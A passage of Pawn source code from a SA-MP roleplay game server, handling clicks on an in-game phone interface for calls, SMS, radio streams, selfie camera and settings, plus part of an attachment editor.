					if(PlayerInfo[playerid][pSpeaker] == 1)
					{
						SendMessage(playerid, COLOR_YELLOW2, "Beep Speaker is off.");
						PlayerInfo[playerid][pSpeaker] = 0;//Nemikhad save she
						return 1;
					}
				}


		}
		if(clickedid==PhoneTest[30])
		{
		    new caller = Mobile[playerid];
				if(caller != 9999 && !IsPlayerConnected(caller))
				{
				/*
					CellTime[playerid] = 90;
					SendMessage(playerid,  COLOR_Good, "You hung up.");
					SetPlayerSpecialAction(playerid, SPECIAL_ACTION_STOPUSECELLPHONE);
					RemovePlayerAttachedObject(playerid, 0);
					Mobile[playerid] = 9999;
					PlayerInfo[playerid][pSpeaker] = 0;//Nemikhad
					*/
					OnPlayerCommandText(playerid, "/h");
					return 1;
				}
				if(IsPlayerConnected(caller))
				{
					if(caller != 9999 && CallWaiting[caller] == playerid)
					{
						SendMessage(caller,  COLOR_Good, "They hung up.");
						SendMessage(playerid,  COLOR_Good, "You hung up.");
						SetPlayerSpecialAction(playerid, SPECIAL_ACTION_STOPUSECELLPHONE);
						RemovePlayerAttachedObject(playerid, 0);
						CellTime[playerid] = 90;
						CellTime[Mobile[playerid]] = 90;
						Mobile[Mobile[playerid]] = 9999;
						TimerRingTone[Mobile[playerid]] = 0;
						CallWaiting[Mobile[playerid]] = 9999;
						Mobile[playerid] = 9999;
						PlayerInfo[playerid][pSpeaker] = 0;//Nemikhad save she
						return 1;
					}
				}
				if(CallWaiting[playerid] != 9999 && IsPlayerConnected(CallWaiting[playerid]))
				{
						CellTime[CallWaiting[playerid]] = 90;
						CellTime[playerid] = 90;
						Mobile[CallWaiting[playerid]] = 9999;
						Mobile[playerid] = 9999;
						TimerRingTone[playerid] = 0;
						SetPlayerSpecialAction(CallWaiting[playerid], SPECIAL_ACTION_STOPUSECELLPHONE);
						RemovePlayerAttachedObject(CallWaiting[playerid], 0);
						SendMessage(CallWaiting[playerid],  COLOR_Good, "They hung up.");
						SendMessage(playerid,  COLOR_Good, "You hung up.");
						CallWaiting[playerid] = 9999;
						PlayerInfo[playerid][pSpeaker] = 0;//Nemikhad
						return 1;
				 }
				 if(caller != 9999 && CallWaiting[playerid] == 9999 && IsPlayerConnected(caller))
				 {
					if(caller < 9999)
					{
						SendMessage(caller,  COLOR_Good, "They hung up.");
						CellTime[caller] = 90;
						CellTime[playerid] = 90;
						SendMessage(playerid,  COLOR_Good, "You hung up.");
						Mobile[caller] = 9999;
						Mobile[playerid] = 9999;
						SetPlayerSpecialAction(playerid, SPECIAL_ACTION_STOPUSECELLPHONE);
						SetPlayerSpecialAction(caller, SPECIAL_ACTION_STOPUSECELLPHONE);
						RemovePlayerAttachedObject(caller, 0);
						RemovePlayerAttachedObject(playerid, 0);
						TimerRingTone[caller] = 0;
						PlayerInfo[playerid][pSpeaker] = 0;//Nemikhad
						return 1;
					}
				}

		}
		if(clickedid==PhoneTest[66])// radio javan
		{
            if(PINFO[playerid][pPremiumAccount]==0)return SCM(playerid, COLOR_YELLOW2, "Error: You haven't premium account.");
		    PlayAudioStreamForPlayer(playerid, "http://208.85.241.142/");
		}
		if(clickedid==PhoneTest[67])// radio party
		{
            if(PINFO[playerid][pPremiumAccount]==0)return SCM(playerid, COLOR_YELLOW2, "Error: You haven't premium account.");
	        PlayAudioStreamForPlayer(playerid, "http://176.31.240.87:8000/listen.mp3");
		}
		if(clickedid==PhoneTest[68])// PONdENDS
		{
            if(PINFO[playerid][pPremiumAccount]==0)return SCM(playerid, COLOR_YELLOW2, "Error: You haven't premium account.");
	        PlayAudioStreamForPlayer(playerid, "http://s7.voscast.com:7000/listen.mp3");
		}
		if(clickedid==PhoneTest[69])// Wild Rock
		{
            if(PINFO[playerid][pPremiumAccount]==0)return SCM(playerid, COLOR_YELLOW2, "Error: You haven't premium account.");
	        PlayAudioStreamForPlayer(playerid, "http://64.150.176.87:8287/;43014706167063stream.nsv");
		}
		if(clickedid==PhoneTest[70])// The Beat.NO
		{
            if(PINFO[playerid][pPremiumAccount]==0)return SCM(playerid, COLOR_YELLOW2, "Error: You haven't premium account.");
	        PlayAudioStreamForPlayer(playerid, "http://stream.thebeat.no/stram");
		}
		if(clickedid==PhoneTest[71])// Radio Farda
		{
            if(PINFO[playerid][pPremiumAccount]==0)return SCM(playerid, COLOR_YELLOW2, "Error: You haven't premium account.");
	        PlayAudioStreamForPlayer(playerid, "https://ample-06.radiojar.com/cp13r2cpn3quv?_=1443143926&rj-tok=AAABcUnQDU0AsBh3S0hZx3s6GA&rj-ttl=5");
		}
		if(clickedid==PhoneTest[72])// turn off
		{
	        StopAudioStreamForPlayer(playerid);
		}
		if(clickedid==NokiaPtds[playerid][8])//silent
		{
			if(silent[playerid]==0){silent[playerid]=1;}
			else {silent[playerid]=0;}
		    UpdateSetting(playerid);
		}
		if(clickedid==NokiaPtds[playerid][9])//hit covername
		{
	        if(covername[playerid]==0&&FactionID(playerid)==8){covername[playerid]=1;}
			if(covername[playerid]!=0&&FactionID(playerid)==8) {covername[playerid]=0;}
	        UpdateSetting(playerid);
	        if (covername[playerid]==1&&FactionID(playerid)==8)GameTextForPlayer(playerid, "~W~CoverName ~G~On", 1000, 5);
	    	if (covername[playerid]==0&&FactionID(playerid)==8)GameTextForPlayer(playerid, "~W~CoverName ~R~Off", 1000, 5);
		}
		if(clickedid==NokiaPtds[playerid][10])//airplane
		{
	        if(airplane[playerid]==0){airplane[playerid]=1;}
			else {airplane[playerid]=0;}
	        UpdateSetting(playerid);
		}
		if(clickedid==NokiaPtds[playerid][0])
		{
		    ShowPlayerDialog(playerid, DIALOG_GETNUMBER, DIALOG_STYLE_INPUT, "SMS", "Enter the target's phone number.", "Enter", "Back");
		}
		if(clickedid==NokiaPtds[playerid][1])
		{
		    ShowPlayerDialog(playerid, DIALOG_GETSMS, DIALOG_STYLE_INPUT, "SMS", "Write your message here.", "Enter", "Back");
		}
		if(clickedid==PhoneTest[7])//menu
		{
			phoneloaded[playerid]=8;
	        ShowNokiaMenu(playerid,8);
		}
		if(clickedid==PhoneTest[8] || clickedid==PhoneTest[41])// send sms
		{
	        phoneloaded[playerid]=2;
	        ShowNokiaMenu(playerid,2);
		}
		if(clickedid==PhoneTest[9] || clickedid==PhoneTest[40])// call dialer
		{
	        phoneloaded[playerid]=3;
	        ShowNokiaMenu(playerid,3);
		}
		if(clickedid==PhoneTest[76])// Charge
		{
		    if(airplane[playerid]==0)return Error(playerid, "Error: Your phone is on airplane mode.")
	        ShowPlayerDialog(playerid,20016,DIALOG_STYLE_LIST,"Choose what do you want to buy:","$200\n$500\n$1000","Buy","Cancel");
		}
        if(clickedid==PhoneTest[78])//kelide Hack(tuye App Hack)
		{
			/*
            new phonenumb = strval(PlayersPhones[playerid][LastNumberUse]);
		    if(RobberyBank[playerid] == 1)
			{
			if(phonenumb > RobNumber[playerid])
			{
	    	TextDrawShowForPlayer(playerid,PhoneTest[50]);
		 	}
			if(phonenumb < RobNumber[playerid])
			{
	 		TextDrawShowForPlayer(playerid,PhoneTest[42]);
            }
            }
            if(phonenumb == RobNumber[playerid])
			{
			if(RobberyBank[playerid] == 1)
			{
			MoveDynamicObject(GateRob1, 495.6787, 1321.5415, 1758.7544, 5);

			TextDrawHideForPlayer(playerid,PhoneTest[42]);
	 		TextDrawHideForPlayer(playerid,PhoneTest[50]);
			phoneloaded[playerid]=0;
			ShowNokiaMenu(playerid,0);
			CancelSelectTextDraw(playerid);
			  }
			}
			*/
			SCM(playerid, COLOR_YELLOW2, "Error: This section isn't completed yet.");
			return 1;
			}
		if(clickedid==PhoneTest[25])//kelide call(tuye dialer)
		{
		/*
		    if(strlen(PlayersPhones[playerid][LastNumberUse]) < 3)return SendClientMessage(playerid,COLOR_YELLOW2,"Error: Invalid number.");
			if(PlayerInfo[playerid][pPnumber] == 0) return SendMessage(playerid, COLOR_RED, "You do not have SIM Card.");
			if(GetPlayerPool(playerid) < SBizzInfo[14][sbEntranceCost]) return SCM(playerid, COLOR_Orang, "Error: You haven't cash for Call.");
			if(PhoneOnline[playerid] == 0) return SCM(playerid, COLOR_LIGHTBLUE, "You can't call because your cellphone is turned off.");
			new phonenumb = strval(PlayersPhones[playerid][LastNumberUse]);
			if(phonenumb == PlayerInfo[playerid][pPnumber]) return SCM(playerid,COLOR_Orang,"Busy tone. You can't call yourself.");
			if(Mobile[playerid] != 9999) return SCM(playerid,COLOR_Orang,"You are already on a call.");
			if(PlayerOnDeathingE[playerid] == true) return 1;
			//if(FindBadSign1(tmp)) return SCM(playerid,COLOR_YELLOW,"The number that you're trying to call doesn't exist.");
			if(phonenumb == 0) return SCM(playerid,COLOR_YELLOW,"The number that you're trying to call doesn't exist.");
			if(phonenumb == 110)
			{
				if(Ghatel[playerid] != INVALID_PLAYER_ID)
				{
					SetPlayerWantedLevel(Ghatel[playerid], GetPlayerWantedLevel(Ghatel[playerid])+GhatelWanted[playerid]);
					SetPlayerCriminal(Ghatel[playerid], playerid, CrimeText[playerid],GhatelWanted[playerid]);
					SendMessage(playerid, COLOR_DBLUE, "Police HQ: We have alerted all units in the area.");
					SendMessage(playerid, COLOR_DBLUE, "Thank you for reporting this crime");
					Ghatel[playerid] = INVALID_PLAYER_ID;
					TimerAnnouncer[playerid] = 0;
					GhatelWanted[playerid] = 0;
					CellTime[playerid] = 200000;
            		SendClientMessage(playerid,  COLOR_Good, "You hung up.");
            		SetPlayerSpecialAction(playerid, SPECIAL_ACTION_STOPUSECELLPHONE);
            		RemovePlayerAttachedObject(playerid, 0);
            		Mobile[playerid] = 9999;
            		PlayerInfo[playerid][pSpeaker] = 0;//Nemikhad
					strdel(CrimeText[playerid], 0, 100);

					phoneloaded[giveplayerid]=1;
					ShowNokiaMenu(giveplayerid,1);
					return 1;
				}
				if(PINFO[playerid][pMuteTime] > 0) return SCM(playerid,COLOR_Orang,"You cannot speak when you are muted.");
				PlayerPlaySound(playerid,3600,0.0,0.0,0.0);
				GetPlayerName(playerid, sendername, sizeof(sendername));
				format(string, sizeof(string), "%s takes out a cellphone.", sendername);
				ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
				if(PlayerHandsCuffed[playerid] == 0)
				{
					SetPlayerAttachedObject(playerid, 0, 330, 6,0.000000,-0.001999,0.000000,0.000000,0.000000,0.000000,1.000000,1.000000,1.000000);
					SetPlayerSpecialAction(playerid, SPECIAL_ACTION_USECELLPHONE);
				}
				SendMessage(playerid, COLOR_GG, "EMERGENCY: Which Service Do You Require, Police or Paramedic?");
					//Mobile[playerid] = 9000;
				phoneloaded[giveplayerid]=1;
				ShowNokiaMenu(giveplayerid,1);
				return 1;
			}
			new taraf = INVALID_PLAYER_ID;
			for(new i = 0; i < Akharish; i++)
			{
				if(IsPlayerConnected(i))
				{
					if(PlayerInfo[i][pPnumber] == phonenumb)
					{
						taraf = i;
					}
				}
			}
			if(taraf == INVALID_PLAYER_ID) return SCM(playerid,COLOR_YELLOW,"The number that you're trying to call doesn't exist.");
			if(Mobile[taraf] != 9999 || CallWaiting[taraf] != 9999) return SCM(playerid,COLOR_YELLOW,"That player is already on a call.");
			if(PhoneOnline[taraf] == 0 ||  Specing[taraf] == 1) return SCM(playerid,COLOR_YELLOW,"That player's phone is turned off.");
			Mobile[playerid] = taraf; //caller connected!~!
			CallWaiting[taraf] = playerid;
			GetPlayerName(playerid, sendername, sizeof(sendername));
			TextDrawSetString(NokiaPtds[taraf][4],sendername);
			format(string, sizeof(string), "%s takes out a cellphone.", sendername);
			ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
			if(PlayerHandsCuffed[playerid] == 0)
			{
				SetPlayerAttachedObject(playerid, 0, 330, 6,0.000000,-0.001999,0.000000,0.000000,0.000000,0.000000,1.000000,1.000000,1.000000);
				SetPlayerSpecialAction(playerid, SPECIAL_ACTION_USECELLPHONE);
			}
	//		new shomaretamoomses = PlayerInfo[playerid][pPnumber];
			TimerRingTone[taraf] = 1;
			//format(string, sizeof(string), "{FFFF45}Phone: %s ({FFFFFF}%s{FFFF45}) is calling you. Type (/pickup) to answer.",sendername, FormatPhoneNumber(shomaretamoomses));
			//SendMessage(taraf, COLOR_YELLOW, string);
			PlayerPlaySound(playerid,3600,0.0,0.0,0.0);
			GetPlayerName(taraf, sendername, sizeof(sendername));
			TextDrawSetString(NokiaPtds[playerid][3],sendername);
			format(string, sizeof(string), "%s's phone ringing ...", sendername);
			ProxDetector(30.0, taraf, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
			PlayerPlaySound(taraf, 23000,0.0,0.0,0.0)
			CellTime[playerid] = 0;
			CallCost[playerid] = SBizzInfo[14][sbEntranceCost];
			phoneloaded[playerid]=4;
			ShowNokiaMenu(playerid,4);
			TextDrawSetPreviewModel(NokiaPtds[taraf][5], GetPlayerSkin(playerid));
			phoneloaded[taraf]=6;
			ShowNokiaMenu(taraf,6);
			SendClientMessage(playerid,COLOR_Good,"Tip: Press key 'Y' to enable mouse cursor.");
			strdel(PlayersPhones[playerid][LastNumberUse],0,7);
			TextDrawSetString(NokiaPtds[playerid][2],PlayersPhones[playerid][LastNumberUse]);
*/
				new axasx[100];
				format(axasx, sizeof(axasx), "/call %s", PlayersPhones[playerid][LastNumberUse]);
				OnPlayerCommandText(playerid, axasx);
		}
		if(clickedid==PhoneTest[11])//kelide send sms
		{
		/*
	        	if(PlayerInfo[playerid][pPhoneBook] == 0) return SendMessage(playerid, COLOR_RED, "You do not have a PhoneBook.");
				if(PlayerInfo[playerid][pPnumber] == 0) return SendMessage(playerid, COLOR_RED, "You do not have SIM Card.");
				if(PINFO[playerid][pMuteTime] > 0) return SCM(playerid,COLOR_Orang,"You cannot speak when you are muted.");
				if(GetPlayerPool(playerid) < SBizzInfo[14][sbEntranceCost]) return SCM(playerid, COLOR_Orang, "Error: You haven't cash for Sms.");
				if (PhoneOnline[playerid] == 0) return SCM(playerid, COLOR_YELLOW, "you can't send a SMS When your phone is offline");
				new phonenumb = GetPVarInt(playerid, "LastSMSNumber");


				GetPlayerName(playerid, sendername, sizeof(sendername));
				if(phonenumb == 0) return SCM(playerid,COLOR_YELLOW,"The number that you're trying to call doesn't exist.");
				new result[256];
				GetPVarString(playerid, "LastPMPhone", result, sizeof(result));
				new taraf = INVALID_PLAYER_ID;
				new sendernamex[64];
				for(new i = 0; i < Akharish; i++)
				{
					if(IsPlayerConnected(i))
					{
						if(PlayerInfo[i][pPnumber] == phonenumb)
						{
							taraf = i;
						}
					}
				}
				if(taraf == INVALID_PLAYER_ID) return SCM(playerid,COLOR_YELLOW,"The number that you're trying to call doesn't exist.");
	            new shomaresm = PlayerInfo[playerid][pPnumber];
				new spmtring[256];
				new payameyaro[256];
				if(!GetPVarString(playerid, "LastPMPhone", payameyaro, sizeof(payameyaro)))return SendClientMessage(playerid,0xE74C3CFF,"SMSe Shoma Bayad Az 5 Character Bishtar Bashad.");
				GetPVarString(playerid, "LastPMPhone", payameyaro, sizeof(payameyaro));
				format(spmtring, sizeof(spmtring), "SMS From: %s~n~%s",sendername,FormatPhoneNumber(shomaresm));
				if(phoneloaded[taraf]==9)// send sms and call to player
				{
				    CancelSelectTextDraw(taraf);
				    ApplyAnimation(taraf, "PED", "ATM", 4.1, 0, 1, 1, 0, 1, 1);
				    TogglePlayerControllable(taraf,1);
					SetCameraBehindPlayer(taraf);
				    onselfihiden[taraf]=0;
				}
				if(PhoneOnline[taraf] == 0 || Specing[taraf] == 1) return SCM(playerid,COLOR_YELLOW,"That player's phone is turned off.");
				if(PINFO[taraf][pPnumber] == 0) return SCM(playerid,COLOR_YELLOW,"The number that you're trying to call doesn't exist.");

				TextDrawSetString(NokiaPtds[taraf][6],spmtring);
				TextDrawSetString(NokiaPtds[taraf][7],payameyaro);
				//format(string, sizeof(string), "SMS: %s, Sender: %s (%s)", result,sendername,FormatPhoneNumber(shomaresm));
				//SendMessage(taraf, COLOR_YELLOW, string);
				format(string, sizeof(string), "SMS Send To: %s (%s)",PINFO[taraf][pName],FormatPhoneNumber(PINFO[taraf][pPnumber]));
				SendMessage(playerid, COLOR_YELLOW, string);
				phoneloaded[taraf]=7;
		   		ShowNokiaMenu(taraf,7);
		   		phoneloaded[playerid]=1;
		   		ShowNokiaMenu(playerid,1);
				GetPlayerName(taraf, sendername, sizeof(sendername));
				GetPlayerName(playerid, sendernamex, sizeof(sendernamex));
				format(string, sizeof(string), "~r~-$%d", SBizzInfo[14][sbEntranceCost]);
				GameTextForPlayer(playerid, string, 5000, 1);
				GivePlayerPool(playerid, -SBizzInfo[14][sbEntranceCost]);
				//PINFO[playerid][pCash] -= SBizzInfo[14][sbEntranceCost];
				//SaveKonVal(playerid, "pCash", PINFO[playerid][pCash]);
				SBizzInfo[14][sbTill] += SBizzInfo[14][sbEntranceCost];
				PlayerPlaySound(playerid, 1052,0.0,0.0,0.0)
				PlayerPlaySound(taraf, 1052,0.0,0.0,0.0)
	            DeletePVar(playerid, "LastPMPhone");
				DeletePVar(playerid, "LastSMSNumber");
				TextDrawSetString(NokiaPtds[playerid][1],"Payame Khodeton Ro Inja Vared Konid.");
				TextDrawSetString(NokiaPtds[playerid][0],"SMS to:_");
				printf("[SmS] Sender %s To %s : %s", sendernamex, sendername, result);
				*/
				new phonenumb = GetPVarInt(playerid, "LastSMSNumber");
                new payameyaro[256];
				if(!GetPVarString(playerid, "LastPMPhone", payameyaro, sizeof(payameyaro)))return SendClientMessage(playerid,COLOR_YELLOW2,"Error: Your message should have more than 5 characters.");
				GetPVarString(playerid, "LastPMPhone", payameyaro, sizeof(payameyaro));
				new axasx[100];
				format(axasx, sizeof(axasx), "/sms %d %s", phonenumb, payameyaro);
				OnPlayerCommandText(playerid, axasx);
		}
		//kelide bargasht:
		if(clickedid==PhoneTest[4])
		{
		    RestNokiaPDT(playerid);
		    PlayerPlaySound(playerid, 17803, 0.0, 0.0, 0.0);
		    if(phoneloaded[playerid]==2)// bargasht az send sms
		    {
		        phoneloaded[playerid]=1;
		        ShowNokiaMenu(playerid,1);
		    }
		    if(phoneloaded[playerid]==7)// bargasht az send from
		    {
		        phoneloaded[playerid]=1;
		        ShowNokiaMenu(playerid,1);
		    }
		    if(phoneloaded[playerid]==3)// bargasht az call dialer
		    {
		        phoneloaded[playerid]=1;
		        ShowNokiaMenu(playerid,1);
		    }
		    if(phoneloaded[playerid]==8)// bargasht az menu
		    {
		        phoneloaded[playerid]=1;
		        ShowNokiaMenu(playerid,1);
		    }
	     	if(phoneloaded[playerid]==9)// bargasht az selfie
		    {
		        TogglePlayerControllable(playerid,1);
		        SetCameraBehindPlayer(playerid);
		        phoneloaded[playerid]=8;
		        ShowNokiaMenu(playerid,8);
		        LoopingAnim(playerid, "PED", "ATM", 4.1, 0, 1, 1, 0, 1);
		    }
		    if(phoneloaded[playerid]==12)// bargasht az mobile bank
		    {
		        phoneloaded[playerid]=8;
		        ShowNokiaMenu(playerid,8);
		    }
		    if(phoneloaded[playerid]==13)// bargasht az mobile bank
		    {
		        phoneloaded[playerid]=12;
		        ShowNokiaMenu(playerid,12);
		    }
		    if(phoneloaded[playerid]==10)// bargasht az mp3
		    {
		        phoneloaded[playerid]=8;
		        ShowNokiaMenu(playerid,8);
		    }
		    if(phoneloaded[playerid]==11)// bargasht az setting
		    {
		        phoneloaded[playerid]=8;
		        ShowNokiaMenu(playerid,8);
		    }
		    if(phoneloaded[playerid]==4 || phoneloaded[playerid]==5 || phoneloaded[playerid]==6)// bargasht az call
		    {
		        phoneloaded[playerid]=1;
		        ShowNokiaMenu(playerid,1);
		        //SendClientMessage(playerid,PHONE_COLOR,"For Back To Menu First Hang Up...");
		    }

		}
		if(clickedid==PhoneTest[13])//c
		{
		    strdel(PlayersPhones[playerid][LastNumberUse],0,7);
	        TextDrawSetString(NokiaPtds[playerid][2],PlayersPhones[playerid][LastNumberUse]);
		}
		if(clickedid==PhoneTest[14])//0
		{
		    if(strlen(PlayersPhones[playerid][LastNumberUse]) == 0)return SendClientMessage(playerid,PHONE_COLOR,"You Can't Set Zero First Place!");
	        format(PlayersPhones[playerid][LastNumberUse],8,"%s0",PlayersPhones[playerid][LastNumberUse]);
	        TextDrawSetString(NokiaPtds[playerid][2],PlayersPhones[playerid][LastNumberUse]);
		}
		if(clickedid==PhoneTest[22])//1
		{
	        format(PlayersPhones[playerid][LastNumberUse],8,"%s1",PlayersPhones[playerid][LastNumberUse]);
	        TextDrawSetString(NokiaPtds[playerid][2],PlayersPhones[playerid][LastNumberUse]);
		}
		if(clickedid==PhoneTest[23])//2
		{
	        format(PlayersPhones[playerid][LastNumberUse],8,"%s2",PlayersPhones[playerid][LastNumberUse]);
	        TextDrawSetString(NokiaPtds[playerid][2],PlayersPhones[playerid][LastNumberUse]);
		}
		if(clickedid==PhoneTest[24])//3
		{
	        format(PlayersPhones[playerid][LastNumberUse],8,"%s3",PlayersPhones[playerid][LastNumberUse]);
	        TextDrawSetString(NokiaPtds[playerid][2],PlayersPhones[playerid][LastNumberUse]);
		}
		if(clickedid==PhoneTest[19])//4
		{
	        format(PlayersPhones[playerid][LastNumberUse],8,"%s4",PlayersPhones[playerid][LastNumberUse]);
	        TextDrawSetString(NokiaPtds[playerid][2],PlayersPhones[playerid][LastNumberUse]);
		}
		if(clickedid==PhoneTest[20])//5
		{
	        format(PlayersPhones[playerid][LastNumberUse],8,"%s5",PlayersPhones[playerid][LastNumberUse]);
	        TextDrawSetString(NokiaPtds[playerid][2],PlayersPhones[playerid][LastNumberUse]);
		}
		if(clickedid==PhoneTest[21])//6
		{
	        format(PlayersPhones[playerid][LastNumberUse],8,"%s6",PlayersPhones[playerid][LastNumberUse]);
	        TextDrawSetString(NokiaPtds[playerid][2],PlayersPhones[playerid][LastNumberUse]);
		}
		if(clickedid==PhoneTest[16])//7
		{
	        format(PlayersPhones[playerid][LastNumberUse],8,"%s7",PlayersPhones[playerid][LastNumberUse]);
	        TextDrawSetString(NokiaPtds[playerid][2],PlayersPhones[playerid][LastNumberUse]);
		}
		if(clickedid==PhoneTest[17])//8
		{
	        format(PlayersPhones[playerid][LastNumberUse],8,"%s8",PlayersPhones[playerid][LastNumberUse]);
	        TextDrawSetString(NokiaPtds[playerid][2],PlayersPhones[playerid][LastNumberUse]);
		}
		if(clickedid==PhoneTest[18])//9
		{
	        format(PlayersPhones[playerid][LastNumberUse],8,"%s9",PlayersPhones[playerid][LastNumberUse]);
	        TextDrawSetString(NokiaPtds[playerid][2],PlayersPhones[playerid][LastNumberUse]);
		}
		if(clickedid==PhoneTest[15])//hashtag
		{
	        //SendClientMessage(playerid,PHONE_COLOR,"hashtag");
		}
		if(clickedid==PhoneTest[36])
		{
		    if(IsPlayerInAnyVehicle( playerid ))return SendClientMessage(playerid,0xE74C3CFF,"Lotfan Az Mashine Khodeton Piade Beshid.");
			phoneloaded[playerid]=9;
	        ShowNokiaMenu(playerid,9);


	        Cdistance[playerid]=0.9;
	        CHeight[playerid]=1.3;

	        Ldistance[playerid]=0.0;
	        LHeight[playerid]=0.0;
	        updateselfie(playerid);
	        TogglePlayerControllable(playerid,0);
	        LoopingAnim(playerid,"ON_LOOKERS","Pointup_loop",6.1,1,1,1,1,0);

		}
		//selfi keys
		if(clickedid==PhoneTest[58])//Cdistance +
		{
			Cdistance[playerid]+=0.3;
			updateselfie(playerid);
		}
		if(clickedid==PhoneTest[65])//cdistance -
		{
	        Cdistance[playerid]-=0.3;
	        updateselfie(playerid);
		}
		if(clickedid==PhoneTest[59])//Cheight +
		{
	        CHeight[playerid]+=0.3;
	        updateselfie(playerid);
		}
		if(clickedid==PhoneTest[64])//Cheight -
		{
	        CHeight[playerid]-=0.3;
	        updateselfie(playerid);
		}
		if(clickedid==PhoneTest[60])//Ldis +
		{
	        Ldistance[playerid]+=0.1;
	        updateselfie(playerid);
		}
		if(clickedid==PhoneTest[63])//Ldistance -
		{
	        Ldistance[playerid]-=0.1;
	        updateselfie(playerid);
		}
		if(clickedid==PhoneTest[61])//Lheight +
		{
	        LHeight[playerid]+=0.1;
	        updateselfie(playerid);
		}
		if(clickedid==PhoneTest[62])//Lheight -
		{
	        LHeight[playerid]-=0.1;
	        updateselfie(playerid);
		}
		if(clickedid==PhoneTest[57])
		{
			for(new i=0;i<20;i++){SendClientMessage(playerid,-1,"");}
		}
		if(clickedid==PhoneTest[39])//music
		{
			phoneloaded[playerid]=10;
	        ShowNokiaMenu(playerid,10);
		}
		if(clickedid==PhoneTest[37])//setting
		{
			phoneloaded[playerid]=11;
	        ShowNokiaMenu(playerid,11);
			return 1;
			}
	if(clickedid == ToysGTD[5])//delete
	{
		new aa = ToysStudioDT[playerid][WhoSlot];
		PlayerObjectsInfo[playerid][aa][ao_model] = -1;
	    PlayerObjectsInfo[playerid][aa][ao_bone] = -1;
	    PlayerObjectsInfo[playerid][aa][ao_x] = 0;
	    PlayerObjectsInfo[playerid][aa][ao_y] = 0;
	    PlayerObjectsInfo[playerid][aa][ao_z] = 0;
	    PlayerObjectsInfo[playerid][aa][ao_rx] = 0;
	    PlayerObjectsInfo[playerid][aa][ao_ry] = 0;
	    PlayerObjectsInfo[playerid][aa][ao_rz] = 0;
	    PlayerObjectsInfo[playerid][aa][ao_sx] = 1.0;
	    PlayerObjectsInfo[playerid][aa][ao_sy] = 1.0;
	    PlayerObjectsInfo[playerid][aa][ao_sz] = 1.0;
		ToysSlotSave(playerid, aa, 1);
	}
	if(clickedid == ToysGTD[38])//slot++
	{
	    if(ToysStudioDT[playerid][WhoSlot] != 19)
	    {
	        new sloteghadimi = ToysStudioDT[playerid][WhoSlot];
		    ToysStudioDT[playerid][WhoSlot] ++;
		    FixToysStudioTemp(playerid, ToysStudioDT[playerid][WhoSlot]);
		    UpdateToysEditor(playerid);

		    PlayerObjectsInfo[playerid][sloteghadimi][ao_enable] = 0;
		    UpdateToySlot(playerid, sloteghadimi);

		    PlayerObjectsInfo[playerid][ToysStudioDT[playerid][WhoSlot]][ao_enable] = 1;
		    UpdateToySlot(playerid, ToysStudioDT[playerid][WhoSlot]);
	    }
	    return 1;
	}
	if(clickedid == ToysGTD[57])//slot--
	{
        if(ToysStudioDT[playerid][WhoSlot] != 0)
	    {
	        new sloteghadimi = ToysStudioDT[playerid][WhoSlot];
		    ToysStudioDT[playerid][WhoSlot] --;
		    FixToysStudioTemp(playerid, ToysStudioDT[playerid][WhoSlot]);
		    UpdateToysEditor(playerid);
		    PlayerObjectsInfo[playerid][sloteghadimi][ao_enable] = 0;
		    UpdateToySlot(playerid, sloteghadimi);
		    PlayerObjectsInfo[playerid][ToysStudioDT[playerid][WhoSlot]][ao_enable] = 1;
		    UpdateToySlot(playerid, ToysStudioDT[playerid][WhoSlot]);
	    }
	    return 1;
	}
	if(clickedid == ToysGTD[39])//x++
	{
        ToysStudioDT[playerid][tX] += 0.1;
		UpdateToysEditor(playerid);
		UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
		return 1;
	}
	if(clickedid == ToysGTD[40])//y++
	{
        ToysStudioDT[playerid][tY]+= 0.1;
		UpdateToysEditor(playerid);
		UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
		return 1;
	}
	if(clickedid == ToysGTD[41])//z++
	{
        ToysStudioDT[playerid][tZ]+= 0.1;
		UpdateToysEditor(playerid);
		UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
		return 1;
	}
	if(clickedid == ToysGTD[42])//rx++
	{
        ToysStudioDT[playerid][trX]+= 0.5;
		UpdateToysEditor(playerid);
		UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
		return 1;
	}
	if(clickedid == ToysGTD[43])//ry++
	{
        ToysStudioDT[playerid][trY]+= 0.5;
		UpdateToysEditor(playerid);
		UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
		return 1;
	}
	if(clickedid == ToysGTD[44])//rz++
	{
        ToysStudioDT[playerid][trZ]+= 0.5;
		UpdateToysEditor(playerid);
		UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
		return 1;
	}
	if(clickedid == ToysGTD[45])//sx++
	{
		if(ToysStudioDT[playerid][tsX] >= 1.5) return SendClientMessage(playerid, 0xFFCC00FF, "maximum Float value");
        ToysStudioDT[playerid][tsX]+= 0.01;
		UpdateToysEditor(playerid);
		UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
		return 1;
	}
	if(clickedid == ToysGTD[46])//sy++
	{
		if(ToysStudioDT[playerid][tsY] >= 1.5) return SendClientMessage(playerid, 0xFFCC00FF, "maximum Float value");
        ToysStudioDT[playerid][tsY]+= 0.01;
		UpdateToysEditor(playerid);
		UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
		return 1;
	}
	if(clickedid == ToysGTD[47])//sz++
	{
		if(ToysStudioDT[playerid][tsZ] >= 1.5) return SendClientMessage(playerid, 0xFFCC00FF, "maximum Float value");
        ToysStudioDT[playerid][tsZ]+= 0.01;
		UpdateToysEditor(playerid);
		UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
		return 1;
	}
	if(clickedid == ToysGTD[56])//x--
	{
        ToysStudioDT[playerid][tX] -= 0.1;
		UpdateToysEditor(playerid);
		UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
		return 1;
	}
	if(clickedid == ToysGTD[55])//y--
	{
        ToysStudioDT[playerid][tY] -= 0.1;
		UpdateToysEditor(playerid);
		UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
		return 1;
	}
	if(clickedid == ToysGTD[54])//z--
	{
